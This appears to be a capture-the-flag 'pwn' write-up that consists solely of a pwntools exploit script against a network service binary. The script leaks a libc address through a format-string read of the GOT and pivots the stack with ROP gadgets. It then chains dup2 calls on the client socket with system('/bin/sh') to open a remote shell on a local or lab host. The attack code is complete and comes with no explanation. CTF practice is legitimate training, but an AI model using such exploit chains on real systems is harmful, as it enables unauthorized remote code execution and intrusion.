Tags: pwn 

Rating:

```
from pwn import *
context.arch = 'amd64'

LOCAL = len(sys.argv) == 1
elf = ELF('./server')

pivot = next(elf.search(asm('add rsp, 0x58 ; ret')))
pop_rdi = next(elf.search(asm('pop rdi ; ret')))
pop_rsi = next(elf.search(asm('pop rsi ; ret')))

if LOCAL:
s = remote('localhost', 6210)
libc = elf.libc
else:
s = remote('172.30.0.2', 6210)
libc = ELF('./libc.so.6') # from pwn5

def send_msg(func, data):
p = p32(len(data))
p += p32(func)
p += data
s.send(p)

def call(addr, data):
p = 'A' * 8
p += data
p += '\x00' * (128 - len(p))
p += p64(addr)
send_msg(120, p)

def leak(addr):
call(elf.symbols['keep_alive'], '%26$s...' + p64(addr))
s.recvuntil('AAAAAA')
return u64(s.recv(6).ljust(8, '\x00'))

libc.address = leak(elf.got['free']) - libc.symbols['free']
print 'libc @ ' + hex(libc.address)

p = p64(pop_rdi)
p += p64(5) # client socket

p += p64(pop_rsi)
p += p64(0)
p += p64(libc.symbols['dup2'])

p += p64(pop_rsi)
p += p64(1)
p += p64(libc.symbols['dup2'])

p += p64(pop_rdi)
p += p64(next(libc.search('/bin/sh\x00')))

p += p64(libc.symbols['system'])

call(pivot, p)

s.recv()
s.interactive()
```